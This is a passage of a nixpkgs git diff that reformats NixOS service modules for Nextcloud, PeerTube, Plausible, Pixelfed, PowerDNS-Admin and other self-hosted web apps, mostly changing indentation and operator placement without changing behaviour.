+      defaultText = lib.literalExpression ''"http''${lib.optionalString config.services.nextcloud.https "s"}://''${config.services.nextcloud.hostName}"'';
+      description = "Configure the nextcloud URL notify_push tries to connect to.";
+    };
 
-      bendDomainToLocalhost = lib.mkOption {
-        type = lib.types.bool;
-        default = false;
-        description = ''
-          Whether to add an entry to `/etc/hosts` for the configured nextcloud domain to point to `localhost` and add `localhost `to nextcloud's `trusted_proxies` config option.
+    bendDomainToLocalhost = lib.mkOption {
+      type = lib.types.bool;
+      default = false;
+      description = ''
+        Whether to add an entry to `/etc/hosts` for the configured nextcloud domain to point to `localhost` and add `localhost `to nextcloud's `trusted_proxies` config option.
 
-          This is useful when nextcloud's domain is not a static IP address and when the reverse proxy cannot be bypassed because the backend connection is done via unix socket.
-        '';
-      };
-    }
-    // (lib.genAttrs
-      [
-        "dbtype"
-        "dbname"
-        "dbuser"
-        "dbpassFile"
-        "dbhost"
-        "dbport"
-        "dbtableprefix"
-      ]
-      (
-        opt:
-        options.services.nextcloud.config.${opt}
-        // {
-          default = config.services.nextcloud.config.${opt};
-          defaultText = lib.literalExpression "config.services.nextcloud.config.${opt}";
-        }
-      )
-    );
+        This is useful when nextcloud's domain is not a static IP address and when the reverse proxy cannot be bypassed because the backend connection is done via unix socket.
+      '';
+    };
+  }
+  // (lib.genAttrs
+    [
+      "dbtype"
+      "dbname"
+      "dbuser"
+      "dbpassFile"
+      "dbhost"
+      "dbport"
+      "dbtableprefix"
+    ]
+    (
+      opt:
+      options.services.nextcloud.config.${opt}
+      // {
+        default = config.services.nextcloud.config.${opt};
+        defaultText = lib.literalExpression "config.services.nextcloud.config.${opt}";
+      }
+    )
+  );
 
   config = lib.mkIf cfg.enable {
     systemd.services = {
diff --git a/nixos/modules/services/web-apps/nextcloud.nix b/nixos/modules/services/web-apps/nextcloud.nix
index 505501ba1fa8..672ed62a50c4 100644
--- a/nixos/modules/services/web-apps/nextcloud.nix
+++ b/nixos/modules/services/web-apps/nextcloud.nix
@@ -1246,7 +1246,8 @@ in
             serviceConfig.User = "nextcloud";
             serviceConfig.LoadCredential = [
               "adminpass:${cfg.config.adminpassFile}"
-            ] ++ runtimeSystemdCredentials;
+            ]
+            ++ runtimeSystemdCredentials;
             # On Nextcloud ≥ 26, it is not necessary to patch the database files to prevent
             # an automatic creation of the database user.
             environment.NC_setup_create_db_user = lib.mkIf (nextcloudGreaterOrEqualThan "26") "false";
@@ -1306,34 +1307,33 @@ in
           };
         };
 
-        phpfpm-nextcloud =
-          {
-            # When upgrading the Nextcloud package, Nextcloud can report errors such as
-            # "The files of the app [all apps in /var/lib/nextcloud/apps] were not replaced correctly"
-            # Restarting phpfpm on Nextcloud package update fixes these issues (but this is a workaround).
-            restartTriggers = [
-              webroot
-              overrideConfig
-            ];
-          }
-          // lib.optionalAttrs requiresRuntimeSystemdCredentials {
-            serviceConfig.LoadCredential = runtimeSystemdCredentials;
+        phpfpm-nextcloud = {
+          # When upgrading the Nextcloud package, Nextcloud can report errors such as
+          # "The files of the app [all apps in /var/lib/nextcloud/apps] were not replaced correctly"
+          # Restarting phpfpm on Nextcloud package update fixes these issues (but this is a workaround).
+          restartTriggers = [
+            webroot
+            overrideConfig
+          ];
+        }
+        // lib.optionalAttrs requiresRuntimeSystemdCredentials {
+          serviceConfig.LoadCredential = runtimeSystemdCredentials;
 
-            # FIXME: We use a hack to make the credential files readable by the nextcloud
-            #        user by copying them somewhere else and overriding CREDENTIALS_DIRECTORY
-            #        for php. This is currently necessary as the unit runs as root.
-            serviceConfig.RuntimeDirectory = lib.mkForce "phpfpm phpfpm-nextcloud";
-            preStart = ''
-              umask 0077
+          # FIXME: We use a hack to make the credential files readable by the nextcloud
+          #        user by copying them somewhere else and overriding CREDENTIALS_DIRECTORY
+          #        for php. This is currently necessary as the unit runs as root.
+          serviceConfig.RuntimeDirectory = lib.mkForce "phpfpm phpfpm-nextcloud";
+          preStart = ''
+            umask 0077
 
-              # NOTE: Runtime directories for this service are currently preserved
-              #       between restarts.
-              rm -rf /run/phpfpm-nextcloud/credentials/
-              mkdir -p /run/phpfpm-nextcloud/credentials/
-              cp "$CREDENTIALS_DIRECTORY"/* /run/phpfpm-nextcloud/credentials/
-              chown -R nextcloud:nextcloud /run/phpfpm-nextcloud/credentials/
-            '';
-          };
+            # NOTE: Runtime directories for this service are currently preserved
+            #       between restarts.
+            rm -rf /run/phpfpm-nextcloud/credentials/
+            mkdir -p /run/phpfpm-nextcloud/credentials/
+            cp "$CREDENTIALS_DIRECTORY"/* /run/phpfpm-nextcloud/credentials/
+            chown -R nextcloud:nextcloud /run/phpfpm-nextcloud/credentials/
+          '';
+        };
       };
 
       services.phpfpm = {
diff --git a/nixos/modules/services/web-apps/ocis.nix b/nixos/modules/services/web-apps/ocis.nix
index bc17dabade7f..daf4d5647a2a 100644
--- a/nixos/modules/services/web-apps/ocis.nix
+++ b/nixos/modules/services/web-apps/ocis.nix
@@ -162,7 +162,8 @@ in
           OCIS_URL = cfg.url;
           OCIS_CONFIG_DIR = if (cfg.configDir == null) then "${cfg.stateDir}/config" else cfg.configDir;
           OCIS_BASE_DATA_PATH = cfg.stateDir;
-        } // cfg.environment;
+        }
+        // cfg.environment;
         serviceConfig = {
           Type = "simple";
           ExecStart = "${lib.getExe cfg.package} server";
diff --git a/nixos/modules/services/web-apps/openvscode-server.nix b/nixos/modules/services/web-apps/openvscode-server.nix
index 0350d715c618..e315729b8153 100644
--- a/nixos/modules/services/web-apps/openvscode-server.nix
+++ b/nixos/modules/services/web-apps/openvscode-server.nix
@@ -178,38 +178,37 @@ in
       path = cfg.extraPackages;
       environment = cfg.extraEnvironment;
       serviceConfig = {
-        ExecStart =
-          ''
-            ${lib.getExe cfg.package} \
-              --accept-server-license-terms \
-              --host=${cfg.host} \
-              --port=${toString cfg.port} \
-          ''
-          + lib.optionalString (cfg.telemetryLevel != null) ''
-            --telemetry-level=${cfg.telemetryLevel} \
-          ''
-          + lib.optionalString (cfg.withoutConnectionToken) ''
-            --without-connection-token \
-          ''
-          + lib.optionalString (cfg.socketPath != null) ''
-            --socket-path=${cfg.socketPath} \
-          ''
-          + lib.optionalString (cfg.userDataDir != null) ''
-            --user-data-dir=${cfg.userDataDir} \
-          ''
-          + lib.optionalString (cfg.serverDataDir != null) ''
-            --server-data-dir=${cfg.serverDataDir} \
-          ''
-          + lib.optionalString (cfg.extensionsDir != null) ''
-            --extensions-dir=${cfg.extensionsDir} \
-          ''
-          + lib.optionalString (cfg.connectionToken != null) ''
-            --connection-token=${cfg.connectionToken} \
-          ''
-          + lib.optionalString (cfg.connectionTokenFile != null) ''
-            --connection-token-file=${cfg.connectionTokenFile} \
-          ''
-          + lib.escapeShellArgs cfg.extraArguments;
+        ExecStart = ''
+          ${lib.getExe cfg.package} \
+            --accept-server-license-terms \
+            --host=${cfg.host} \
+            --port=${toString cfg.port} \
+        ''
+        + lib.optionalString (cfg.telemetryLevel != null) ''
+          --telemetry-level=${cfg.telemetryLevel} \
+        ''
+        + lib.optionalString (cfg.withoutConnectionToken) ''
+          --without-connection-token \
+        ''
+        + lib.optionalString (cfg.socketPath != null) ''
+          --socket-path=${cfg.socketPath} \
+        ''
+        + lib.optionalString (cfg.userDataDir != null) ''
+          --user-data-dir=${cfg.userDataDir} \
+        ''
+        + lib.optionalString (cfg.serverDataDir != null) ''
+          --server-data-dir=${cfg.serverDataDir} \
+        ''
+        + lib.optionalString (cfg.extensionsDir != null) ''
+          --extensions-dir=${cfg.extensionsDir} \
+        ''
+        + lib.optionalString (cfg.connectionToken != null) ''
+          --connection-token=${cfg.connectionToken} \
+        ''
+        + lib.optionalString (cfg.connectionTokenFile != null) ''
+          --connection-token-file=${cfg.connectionTokenFile} \
+        ''
+        + lib.escapeShellArgs cfg.extraArguments;
         ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
         RuntimeDirectory = cfg.user;
         User = cfg.user;
diff --git a/nixos/modules/services/web-apps/outline.nix b/nixos/modules/services/web-apps/outline.nix
index c0791445e1cf..201cc532177e 100644
--- a/nixos/modules/services/web-apps/outline.nix
+++ b/nixos/modules/services/web-apps/outline.nix
@@ -632,10 +632,11 @@ in
       {
         description = "Outline wiki and knowledge base";
         wantedBy = [ "multi-user.target" ];
-        after =
-          [ "networking.target" ]
-          ++ lib.optional (cfg.databaseUrl == "local") "postgresql.service"
-          ++ lib.optional (cfg.redisUrl == "local") "redis-outline.service";
+        after = [
+          "networking.target"
+        ]
+        ++ lib.optional (cfg.databaseUrl == "local") "postgresql.service"
+        ++ lib.optional (cfg.redisUrl == "local") "redis-outline.service";
         requires =
           lib.optional (cfg.databaseUrl == "local") "postgresql.service"
           ++ lib.optional (cfg.redisUrl == "local") "redis-outline.service";
diff --git a/nixos/modules/services/web-apps/part-db.nix b/nixos/modules/services/web-apps/part-db.nix
index 85adf2d7b7e5..6c3beb77b06f 100644
--- a/nixos/modules/services/web-apps/part-db.nix
+++ b/nixos/modules/services/web-apps/part-db.nix
@@ -149,7 +149,8 @@ in
           "pm.min_spare_servers" = lib.mkDefault 2;
           "pm.max_spare_servers" = lib.mkDefault 4;
           "pm.max_requests" = lib.mkDefault 500;
-        } // cfg.poolConfig;
+        }
+        // cfg.poolConfig;
       };
 
       postgresql = mkIf cfg.enablePostgresql {
diff --git a/nixos/modules/services/web-apps/peering-manager.nix b/nixos/modules/services/web-apps/peering-manager.nix
index b912ccedc27c..148d285c8587 100644
--- a/nixos/modules/services/web-apps/peering-manager.nix
+++ b/nixos/modules/services/web-apps/peering-manager.nix
@@ -22,16 +22,15 @@ let
 
   pkg =
     (pkgs.peering-manager.overrideAttrs (old: {
-      postInstall =
-        ''
-          ln -s ${configFile} $out/opt/peering-manager/peering_manager/configuration.py
-        ''
-        + lib.optionalString cfg.enableLdap ''
-          ln -s ${cfg.ldapConfigPath} $out/opt/peering-manager/peering_manager/ldap_config.py
-        ''
-        + lib.optionalString cfg.enableOidc ''
-          ln -s ${cfg.oidcConfigPath} $out/opt/peering-manager/peering_manager/oidc_config.py
-        '';
+      postInstall = ''
+        ln -s ${configFile} $out/opt/peering-manager/peering_manager/configuration.py
+      ''
+      + lib.optionalString cfg.enableLdap ''
+        ln -s ${cfg.ldapConfigPath} $out/opt/peering-manager/peering_manager/ldap_config.py
+      ''
+      + lib.optionalString cfg.enableOidc ''
+        ln -s ${cfg.oidcConfigPath} $out/opt/peering-manager/peering_manager/oidc_config.py
+      '';
     })).override
       {
         inherit (cfg) plugins;
@@ -200,15 +199,14 @@ in
         };
       };
 
-      extraConfig =
-        ''
-          with open("${cfg.secretKeyFile}", "r") as file:
-            SECRET_KEY = file.readline()
-        ''
-        + lib.optionalString (cfg.peeringdbApiKeyFile != null) ''
-          with open("${cfg.peeringdbApiKeyFile}", "r") as file:
-            PEERINGDB_API_KEY = file.readline()
-        '';
+      extraConfig = ''
+        with open("${cfg.secretKeyFile}", "r") as file:
+          SECRET_KEY = file.readline()
+      ''
+      + lib.optionalString (cfg.peeringdbApiKeyFile != null) ''
+        with open("${cfg.peeringdbApiKeyFile}", "r") as file:
+          PEERINGDB_API_KEY = file.readline()
+      '';
 
       plugins = (
         ps:
diff --git a/nixos/modules/services/web-apps/peertube.nix b/nixos/modules/services/web-apps/peertube.nix
index 7eb61da55bad..d5cd7f31d97b 100644
--- a/nixos/modules/services/web-apps/peertube.nix
+++ b/nixos/modules/services/web-apps/peertube.nix
@@ -467,18 +467,20 @@ in
         MemoryDenyWriteExecute = true;
         # System Call Filtering
         SystemCallFilter = "~" + lib.concatStringsSep " " (systemCallsList ++ [ "@resources" ]);
-      } // cfgService;
+      }
+      // cfgService;
     };
 
     systemd.services.peertube = {
       description = "PeerTube daemon";
-      after =
-        [ "network.target" ]
-        ++ lib.optional cfg.redis.createLocally "redis-peertube.service"
-        ++ lib.optionals cfg.database.createLocally [
-          "postgresql.service"
-          "peertube-init-db.service"
-        ];
+      after = [
+        "network.target"
+      ]
+      ++ lib.optional cfg.redis.createLocally "redis-peertube.service"
+      ++ lib.optionals cfg.database.createLocally [
+        "postgresql.service"
+        "peertube-init-db.service"
+      ];
       requires =
         lib.optional cfg.redis.createLocally "redis-peertube.service"
         ++ lib.optionals cfg.database.createLocally [
@@ -557,7 +559,8 @@ in
           "pipe"
           "pipe2"
         ];
-      } // cfgService;
+      }
+      // cfgService;
     };
 
     services.nginx = lib.mkIf cfg.configureNginx {
@@ -578,24 +581,22 @@ in
           tryFiles = "/dev/null @api";
           priority = 1120;
 
-          extraConfig =
-            ''
-              client_max_body_size 0;
-              proxy_request_buffering off;
-            ''
-            + nginxCommonHeaders;
+          extraConfig = ''
+            client_max_body_size 0;
+            proxy_request_buffering off;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."~ ^/api/v1/users/[^/]+/imports/import-resumable$" = {
           tryFiles = "/dev/null @api";
           priority = 1130;
 
-          extraConfig =
-            ''
-              client_max_body_size 0;
-              proxy_request_buffering off;
-            ''
-            + nginxCommonHeaders;
+          extraConfig = ''
+            client_max_body_size 0;
+            proxy_request_buffering off;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."~ ^/api/v1/videos/(upload|([^/]+/studio/edit))$" = {
@@ -603,14 +604,13 @@ in
           root = cfg.settings.storage.tmp;
           priority = 1140;
 
-          extraConfig =
-            ''
-              limit_except POST HEAD { deny all; }
+          extraConfig = ''
+            limit_except POST HEAD { deny all; }
 
-              client_max_body_size 12G;
-              add_header X-File-Maximum-Size 8G always;
-            ''
-            + nginxCommonHeaders;
+            client_max_body_size 12G;
+            add_header X-File-Maximum-Size 8G always;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."~ ^/api/v1/runners/jobs/[^/]+/(update|success)$" = {
@@ -618,45 +618,42 @@ in
           root = cfg.settings.storage.tmp;
           priority = 1150;
 
-          extraConfig =
-            ''
-              client_max_body_size 12G;
-              add_header X-File-Maximum-Size 8G always;
-            ''
-            + nginxCommonHeaders;
+          extraConfig = ''
+            client_max_body_size 12G;
+            add_header X-File-Maximum-Size 8G always;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."~ ^/api/v1/(videos|video-playlists|video-channels|users/me)" = {
           tryFiles = "/dev/null @api";
           priority = 1160;
 
-          extraConfig =
-            ''
-              client_max_body_size 6M;
-              add_header X-File-Maximum-Size 4M always;
-            ''
-            + nginxCommonHeaders;
+          extraConfig = ''
+            client_max_body_size 6M;
+            add_header X-File-Maximum-Size 4M always;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."@api" = {
           proxyPass = "http://peertube";
           priority = 1170;
 
-          extraConfig =
-            ''
-              proxy_set_header Host $host;
-              proxy_set_header X-Real-IP $remote_addr;
-              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+          extraConfig = ''
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
-              proxy_connect_timeout 10m;
+            proxy_connect_timeout 10m;
 
-              proxy_send_timeout 10m;
-              proxy_read_timeout 10m;
+            proxy_send_timeout 10m;
+            proxy_read_timeout 10m;
 
-              client_max_body_size 100k;
-              send_timeout 10m;
-            ''
-            + nginxCommonHeaders;
+            client_max_body_size 100k;
+            send_timeout 10m;
+          ''
+          + nginxCommonHeaders;
         };
 
         # Websocket
@@ -683,17 +680,16 @@ in
           proxyPass = "http://peertube";
           priority = 1240;
 
-          extraConfig =
-            ''
-              proxy_http_version 1.1;
-              proxy_set_header Upgrade $http_upgrade;
-              proxy_set_header Connection 'upgrade';
-              proxy_set_header Host $host;
-              proxy_set_header X-Real-IP $remote_addr;
-              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+          extraConfig = ''
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection 'upgrade';
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
-            ''
-            + nginxCommonHeaders;
+          ''
+          + nginxCommonHeaders;
         };
 
         # Bypass PeerTube for performance reasons.
@@ -708,67 +704,62 @@ in
         locations."~ ^/client/(.*\\.(js|css|png|svg|woff2|otf|ttf|woff|eot))$" = {
           alias = "${cfg.package}/client/dist/$1";
           priority = 1320;
-          extraConfig =
-            ''
-              add_header Cache-Control 'public, max-age=604800, immutable';
-            ''
-            + nginxCommonHeaders;
+          extraConfig = ''
+            add_header Cache-Control 'public, max-age=604800, immutable';
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."^~ /download/" = {
           proxyPass = "http://peertube";
           priority = 1410;
-          extraConfig =
-            ''
-              proxy_set_header Host $host;
-              proxy_set_header X-Real-IP $remote_addr;
-              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+          extraConfig = ''
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
-              proxy_limit_rate 5M;
-            ''
-            + nginxCommonHeaders;
+            proxy_limit_rate 5M;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."^~ /static/streaming-playlists/hls/private/" = {
           proxyPass = "http://peertube";
           priority = 1420;
-          extraConfig =
-            ''
-              proxy_set_header Host $host;
-              proxy_set_header X-Real-IP $remote_addr;
-              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+          extraConfig = ''
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
-              proxy_limit_rate 5M;
-            ''
-            + nginxCommonHeaders;
+            proxy_limit_rate 5M;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."^~ /static/web-videos/private/" = {
           proxyPass = "http://peertube";
           priority = 1430;
-          extraConfig =
-            ''
-              proxy_set_header Host $host;
-              proxy_set_header X-Real-IP $remote_addr;
-              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+          extraConfig = ''
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
-              proxy_limit_rate 5M;
-            ''
-            + nginxCommonHeaders;
+            proxy_limit_rate 5M;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."^~ /static/webseed/private/" = {
           proxyPass = "http://peertube";
           priority = 1440;
-          extraConfig =
-            ''
-              proxy_set_header Host $host;
-              proxy_set_header X-Real-IP $remote_addr;
-              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+          extraConfig = ''
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
-              proxy_limit_rate 5M;
-            ''
-            + nginxCommonHeaders;
+            proxy_limit_rate 5M;
+          ''
+          + nginxCommonHeaders;
         };
 
         locations."^~ /static/redundancy/" = {
diff --git a/nixos/modules/services/web-apps/photoprism.nix b/nixos/modules/services/web-apps/photoprism.nix
index 744a34db8b54..cb10d64bed7e 100644
--- a/nixos/modules/services/web-apps/photoprism.nix
+++ b/nixos/modules/services/web-apps/photoprism.nix
@@ -13,7 +13,8 @@ let
     PHOTOPRISM_IMPORT_PATH = cfg.importPath;
     PHOTOPRISM_HTTP_HOST = cfg.address;
     PHOTOPRISM_HTTP_PORT = toString cfg.port;
-  } // (lib.mapAttrs (_: toString) cfg.settings);
+  }
+  // (lib.mapAttrs (_: toString) cfg.settings);
 
   manage = pkgs.writeShellScript "manage" ''
     set -o allexport # Export the following env vars
diff --git a/nixos/modules/services/web-apps/pixelfed.nix b/nixos/modules/services/web-apps/pixelfed.nix
index a8c57f284964..185d4cdd1cd2 100644
--- a/nixos/modules/services/web-apps/pixelfed.nix
+++ b/nixos/modules/services/web-apps/pixelfed.nix
@@ -346,17 +346,17 @@ in
         "listen.group" = group;
         "listen.mode" = "0660";
         "catch_workers_output" = "yes";
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     systemd.services.phpfpm-pixelfed.after = [ "pixelfed-data-setup.service" ];
-    systemd.services.phpfpm-pixelfed.requires =
-      [
-        "pixelfed-horizon.service"
-        "pixelfed-data-setup.service"
-      ]
-      ++ lib.optional cfg.database.createLocally dbService
-      ++ lib.optional cfg.redis.createLocally redisService;
+    systemd.services.phpfpm-pixelfed.requires = [
+      "pixelfed-horizon.service"
+      "pixelfed-data-setup.service"
+    ]
+    ++ lib.optional cfg.database.createLocally dbService
+    ++ lib.optional cfg.redis.createLocally redisService;
     # Ensure image optimizations programs are available.
     systemd.services.phpfpm-pixelfed.path = extraPrograms;
 
@@ -366,10 +366,11 @@ in
         "network.target"
         "pixelfed-data-setup.service"
       ];
-      requires =
-        [ "pixelfed-data-setup.service" ]
-        ++ (lib.optional cfg.database.createLocally dbService)
-        ++ (lib.optional cfg.redis.createLocally redisService);
+      requires = [
+        "pixelfed-data-setup.service"
+      ]
+      ++ (lib.optional cfg.database.createLocally dbService)
+      ++ (lib.optional cfg.redis.createLocally redisService);
       wantedBy = [ "multi-user.target" ];
       # Ensure image optimizations programs are available.
       path = extraPrograms;
diff --git a/nixos/modules/services/web-apps/plausible.nix b/nixos/modules/services/web-apps/plausible.nix
index a4b84c56d2e4..a9d893206338 100644
--- a/nixos/modules/services/web-apps/plausible.nix
+++ b/nixos/modules/services/web-apps/plausible.nix
@@ -206,67 +206,66 @@ in
               "plausible-postgres.service"
             ];
 
-          environment =
-            {
-              # NixOS specific option to avoid that it's trying to write into its store-path.
-              # See also https://github.com/lau/tzdata#data-directory-and-releases
-              STORAGE_DIR = "/var/lib/plausible/elixir_tzdata";
+          environment = {
+            # NixOS specific option to avoid that it's trying to write into its store-path.
+            # See also https://github.com/lau/tzdata#data-directory-and-releases
+            STORAGE_DIR = "/var/lib/plausible/elixir_tzdata";
 
-              # Configuration options from
-              # https://plausible.io/docs/self-hosting-configuration
-              PORT = toString cfg.server.port;
-              LISTEN_IP = cfg.server.listenAddress;
+            # Configuration options from
+            # https://plausible.io/docs/self-hosting-configuration
+            PORT = toString cfg.server.port;
+            LISTEN_IP = cfg.server.listenAddress;
 
-              # Note [plausible-needs-no-erlang-distributed-features]:
-              # Plausible does not use, and does not plan to use, any of
-              # Erlang's distributed features, see:
-              #     https://github.com/plausible/analytics/pull/1190#issuecomment-1018820934
-              # Thus, disable distribution for improved simplicity and security:
-              #
-              # When distribution is enabled,
-              # Elixir spwans the Erlang VM, which will listen by default on all
-              # interfaces for messages between Erlang nodes (capable of
-              # remote code execution); it can be protected by a cookie; see
-              # https://erlang.org/doc/reference_manual/distributed.html#security).
-              #
-              # It would be possible to restrict the interface to one of our choice
-              # (e.g. localhost or a VPN IP) similar to how we do it with `listenAddress`
-              # for the Plausible web server; if distribution is ever needed in the future,
-              # https://github.com/NixOS/nixpkgs/pull/130297 shows how to do it.
-              #
-              # But since Plausible does not use this feature in any way,
-              # we just disable it.
-              RELEASE_DISTRIBUTION = "none";
-              # Additional safeguard, in case `RELEASE_DISTRIBUTION=none` ever
-              # stops disabling the start of EPMD.
-              ERL_EPMD_ADDRESS = "127.0.0.1";
+            # Note [plausible-needs-no-erlang-distributed-features]:
+            # Plausible does not use, and does not plan to use, any of
+            # Erlang's distributed features, see:
+            #     https://github.com/plausible/analytics/pull/1190#issuecomment-1018820934
+            # Thus, disable distribution for improved simplicity and security:
+            #
+            # When distribution is enabled,
+            # Elixir spwans the Erlang VM, which will listen by default on all
+            # interfaces for messages between Erlang nodes (capable of
+            # remote code execution); it can be protected by a cookie; see
+            # https://erlang.org/doc/reference_manual/distributed.html#security).
+            #
+            # It would be possible to restrict the interface to one of our choice
+            # (e.g. localhost or a VPN IP) similar to how we do it with `listenAddress`
+            # for the Plausible web server; if distribution is ever needed in the future,
+            # https://github.com/NixOS/nixpkgs/pull/130297 shows how to do it.
+            #
+            # But since Plausible does not use this feature in any way,
+            # we just disable it.
+            RELEASE_DISTRIBUTION = "none";
+            # Additional safeguard, in case `RELEASE_DISTRIBUTION=none` ever
+            # stops disabling the start of EPMD.
+            ERL_EPMD_ADDRESS = "127.0.0.1";
 
-              DISABLE_REGISTRATION =
-                if isBool cfg.server.disableRegistration then
-                  boolToString cfg.server.disableRegistration
-                else
-                  cfg.server.disableRegistration;
+            DISABLE_REGISTRATION =
+              if isBool cfg.server.disableRegistration then
+                boolToString cfg.server.disableRegistration
+              else
+                cfg.server.disableRegistration;
 
-              RELEASE_TMP = "/var/lib/plausible/tmp";
-              # Home is needed to connect to the node with iex
-              HOME = "/var/lib/plausible";
+            RELEASE_TMP = "/var/lib/plausible/tmp";
+            # Home is needed to connect to the node with iex
+            HOME = "/var/lib/plausible";
 
-              DATABASE_URL = "postgresql:///${cfg.database.postgres.dbname}?host=${cfg.database.postgres.socket}";
-              CLICKHOUSE_DATABASE_URL = cfg.database.clickhouse.url;
+            DATABASE_URL = "postgresql:///${cfg.database.postgres.dbname}?host=${cfg.database.postgres.socket}";
+            CLICKHOUSE_DATABASE_URL = cfg.database.clickhouse.url;
 
-              BASE_URL = cfg.server.baseUrl;
+            BASE_URL = cfg.server.baseUrl;
 
-              MAILER_EMAIL = cfg.mail.email;
-              SMTP_HOST_ADDR = cfg.mail.smtp.hostAddr;
-              SMTP_HOST_PORT = toString cfg.mail.smtp.hostPort;
-              SMTP_RETRIES = toString cfg.mail.smtp.retries;
-              SMTP_HOST_SSL_ENABLED = boolToString cfg.mail.smtp.enableSSL;
+            MAILER_EMAIL = cfg.mail.email;
+            SMTP_HOST_ADDR = cfg.mail.smtp.hostAddr;
+            SMTP_HOST_PORT = toString cfg.mail.smtp.hostPort;
+            SMTP_RETRIES = toString cfg.mail.smtp.retries;
+            SMTP_HOST_SSL_ENABLED = boolToString cfg.mail.smtp.enableSSL;
 
-              SELFHOST = "true";
-            }
-            // (optionalAttrs (cfg.mail.smtp.user != null) {
-              SMTP_USER_NAME = cfg.mail.smtp.user;
-            });
+            SELFHOST = "true";
+          }
+          // (optionalAttrs (cfg.mail.smtp.user != null) {
+            SMTP_USER_NAME = cfg.mail.smtp.user;
+          });
 
           path = [ cfg.package ] ++ optional cfg.database.postgres.setup config.services.postgresql.package;
           script = ''
@@ -296,13 +295,12 @@ in
             PrivateTmp = true;
             WorkingDirectory = "/var/lib/plausible";
             StateDirectory = "plausible";
-            LoadCredential =
-              [
-                "SECRET_KEY_BASE:${cfg.server.secretKeybaseFile}"
-              ]
-              ++ lib.optionals (cfg.mail.smtp.passwordFile != null) [
-                "SMTP_USER_PWD:${cfg.mail.smtp.passwordFile}"
-              ];
+            LoadCredential = [
+              "SECRET_KEY_BASE:${cfg.server.secretKeybaseFile}"
+            ]
+            ++ lib.optionals (cfg.mail.smtp.passwordFile != null) [
+              "SMTP_USER_PWD:${cfg.mail.smtp.passwordFile}"
+            ];
           };
         };
       }
diff --git a/nixos/modules/services/web-apps/powerdns-admin.nix b/nixos/modules/services/web-apps/powerdns-admin.nix
index e142711555ca..e990807d00b4 100644
--- a/nixos/modules/services/web-apps/powerdns-admin.nix
+++ b/nixos/modules/services/web-apps/powerdns-admin.nix
@@ -10,18 +10,17 @@ with lib;
 let
   cfg = config.services.powerdns-admin;
 
-  configText =
-    ''
-      ${cfg.config}
-    ''
-    + optionalString (cfg.secretKeyFile != null) ''
-      with open('${cfg.secretKeyFile}') as file:
-        SECRET_KEY = file.read()
-    ''
-    + optionalString (cfg.saltFile != null) ''
-      with open('${cfg.saltFile}') as file:
-        SALT = file.read()
-    '';
+  configText = ''
+    ${cfg.config}
+  ''
+  + optionalString (cfg.secretKeyFile != null) ''
+    with open('${cfg.secretKeyFile}') as file:
+      SECRET_KEY = file.read()
+  ''
+  + optionalString (cfg.saltFile != null) ''
+    with open('${cfg.saltFile}') as file:
+      SALT = file.read()
+  '';
 in
 {
   options.services.powerdns-admin = {
@@ -100,16 +99,15 @@ in
         User = "powerdnsadmin";
         Group = "powerdnsadmin";
 
-        BindReadOnlyPaths =
-          [
-            "/nix/store"
-            "-/etc/resolv.conf"
-            "-/etc/nsswitch.conf"
-            "-/etc/hosts"
-            "-/etc/localtime"
-          ]
-          ++ (optional (cfg.secretKeyFile != null) cfg.secretKeyFile)
-          ++ (optional (cfg.saltFile != null) cfg.saltFile);
+        BindReadOnlyPaths = [
+          "/nix/store"
+          "-/etc/resolv.conf"
+          "-/etc/nsswitch.conf"
+          "-/etc/hosts"
+          "-/etc/localtime"
+        ]
+        ++ (optional (cfg.secretKeyFile != null) cfg.secretKeyFile)
+        ++ (optional (cfg.saltFile != null) cfg.saltFile);
         # ProtectClock= adds DeviceAllow=char-rtc r
         DeviceAllow = "";
         # Implies ProtectSystem=strict, which re-mounts all paths
diff --git a/nixos/modules/services/web-apps/pretalx.nix b/nixos/modules/services/web-apps/pretalx.nix
index c7d35d029963..125d97bb7673 100644
--- a/nixos/modules/services/web-apps/pretalx.nix
+++ b/nixos/modules/services/web-apps/pretalx.nix
@@ -428,17 +428,16 @@ in
       {
         pretalx-web = lib.recursiveUpdate commonUnitConfig {
           description = "pretalx web service";
-          after =
-            [
-              "network.target"
-              "redis-pretalx.service"
-            ]
-            ++ lib.optionals (cfg.settings.database.backend == "postgresql") [
-              "postgresql.service"
-            ]
-            ++ lib.optionals (cfg.settings.database.backend == "mysql") [
-              "mysql.service"
-            ];
+          after = [
+            "network.target"
+            "redis-pretalx.service"
+          ]
+          ++ lib.optionals (cfg.settings.database.backend == "postgresql") [
+            "postgresql.service"
+          ]
+          ++ lib.optionals (cfg.settings.database.backend == "mysql") [
+            "mysql.service"
+          ];
           wantedBy = [ "multi-user.target" ];
           preStart = ''
